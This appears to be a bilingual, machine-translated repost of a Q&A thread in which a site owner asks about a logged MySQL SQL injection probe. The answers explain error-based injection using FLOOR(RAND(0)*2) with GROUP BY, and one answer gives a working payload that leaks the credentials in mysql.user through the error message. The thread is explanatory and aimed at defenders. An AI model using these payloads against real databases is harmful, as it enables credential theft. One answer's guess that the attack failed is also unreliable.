[翻译]  SQL Injection attack - What does this do?

[CHINESE]  SQL注入攻击 - 这是做什么的?


I have detected some failed SQL injection attacks on my website. The failed queries are of the form:

我在我的网站上检测到一些失败的SQL注入攻击。失败的查询格式如下:

SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x)

SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x)

The ':sjw:1:ukt:1' part is specially constructed with variables concatenated together to give random 0s or 1s etc.

':sjw:1:ukt:1'部分是专门构造的,变量连接在一起,给出随机0或1等。

I would like to know what these queries do?

我想知道这些查询是做什么的?

The database is MySQL.

数据库是MySQL。

Update: Here is the original injected SQL:

更新:这是原始注入的SQL:

(SELECT 6106
 FROM  (SELECT COUNT(*),
               CONCAT(
                        CHAR(58, 115, 106, 119, 58), 
                        (SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )), 
                        CHAR(58, 117, 107, 116, 58), 
                        FLOOR(RAND(0) * 2)
                      ) x
        FROM   INFORMATION_SCHEMA.TABLES
        GROUP  BY x)a) 

It fails with message

它失败了,留言

Duplicate entry ':sjw:1:ukt:1' for key 'group_key'

密钥'group_key'重复输入':sjw:1:ukt:1'

3 个解决方案

#1


19  

What the attack really does

There is a subtle but clever detail about this attack that other answerers missed. Notice the error message Duplicate entry ':sjw:1:ukt:1' for key 'group_key'. The string :sjw:1:ukt:1 is actually the result of an expression evaluated by your MySQL server. If your application sends the MySQL error string back to the browser, then the error message can leak data from your database.

其他答案者错过了关于这次袭击的细微而巧妙的细节。请注意错误消息Duplicate entry':sjw:1:ukt:1'表示键'group_key'。字符串:sjw:1:ukt:1实际上是MySQL服务器评估的表达式的结果。如果您的应用程序将MySQL错误字符串发送回浏览器,则错误消息可能会泄漏数据库中的数据。

This kind of attack is used in cases where the query result isn't otherwise sent back to the browser (blind SQL injection), or when a classical UNION SELECT attack is complicated to pull off. It also works in INSERT/UPDATE/DELETE queries.

这种攻击用于查询结果未以其他方式发送回浏览器的情况(盲SQL注入),或者传统的UNION SELECT攻击很难实现。它也适用于INSERT / UPDATE / DELETE查询。

As Hawili notes, the original particular query wasn't supposed leak any information, it was just a test to see whether your application is vulnerable to this kind of injection.

正如Hawili指出的那样,原始的特定查询不会泄漏任何信息,它只是一个测试,看看你的应用程序是否容易受到这种注入。

The attack didn't fail like MvG suggested, causing this error is the purpose of the query.

攻击没有像MvG建议的那样失败,导致此错误是查询的目的。

A better example of how this may be used:

如何使用它的一个更好的例子:

> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
>                        0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'

Why the error is raised

Why the query causes this error in MySQL is somewhat of a mystery for me. It looks like a MySQL bug, since GROUP BY is supposed to deal with duplicate entries by aggregating them. Hawili's simplification of the query doesn't, in fact, cause the error!

为什么查询在MySQL中导致此错误对我来说有点神秘。它看起来像是一个MySQL错误,因为GROUP BY应该通过聚合来处理重复的条目。事实上,Hawili简化查询并不会导致错误!

The expression FLOOR(RAND(0)*2) gives the following results in order, based on the random seed argument 0:

表达式FLOOR(RAND(0)* 2)基于随机种子参数0按顺序给出以下结果:

> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
 ...

Because the 3rd value is a duplicate of the 2nd, this error is thrown. Any FROM table with at least 3 rows can be used, but information_schema.tables is a common one. The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL:

因为第3个值是第2个值的副本,所以抛出此错误。可以使用任何至少有3行的FROM表,但是information_schema.tables是常见的。 COUNT(*)和GROUP BY部分是引发MySQL错误所必需的:

> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

This error doesn't occur in the PostgreSQL-equivalent query:

PostgreSQL等效查询中不会发生此错误:

# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
 count | x 
-------+---
    83 | 0
    90 | 1

(Sorry about answering 1 year late, but I just stumbled upon this today. This question is interesting to me because I wasn't aware there are ways to leak data via error messages from MySQL)

(很抱歉回答迟了1年,但我今天偶然发现了这个问题。这个问题对我很有意思,因为我不知道有什么方法可以通过MySQL的错误消息泄漏数据)

#2


0  

Executing the parenthesized subquery will give you the number of tables in your system. I guess the main aim might be to create queries and see where in the generated HTML the output appears. Thus the random string. The outer SELECT is invalid, as its subquery doesn't have an alias name. So I assume that this incorrectness was the cause this attack failed. They might have been trying to see what syntactic constructs they can inject and which will break the query.

执行带括号的子查询将为您提供系统中的表数。我想主要目标可能是创建查询并查看生成的HTML中输出的位置。因此随机字符串。外部SELECT无效,因为其子查询没有别名。所以我认为这种不正确是导致这次攻击失败的原因。他们可能一直试图看看他们可以注入什么语法结构,哪些会打破查询。

#3


0  

Select will just output the number, so the answer is always 6106 in your case

选择将只输出数字,因此在您的情况下答案总是6106

SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x 

should give a different answer, it will give count of tables in system plus the random text inserted under name x, thats all

应该给出一个不同的答案,它将给出系统中的表数加上在名称x下插入的随机文本,即全部

In short its a meaningless query, the result for the internal query is never shown, the result of the whole query is predetermined , seems the injection is somehow automated to log the attack using this strange way

简而言之,它是一个毫无意义的查询,内部查询的结果永远不会显示,整个查询的结果是预先确定的,似乎注入是以某种方式自动化以使用这种奇怪的方式记录攻击


注意!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。



 
© 2014-2018 ITdaan.com 粤ICP备14056181号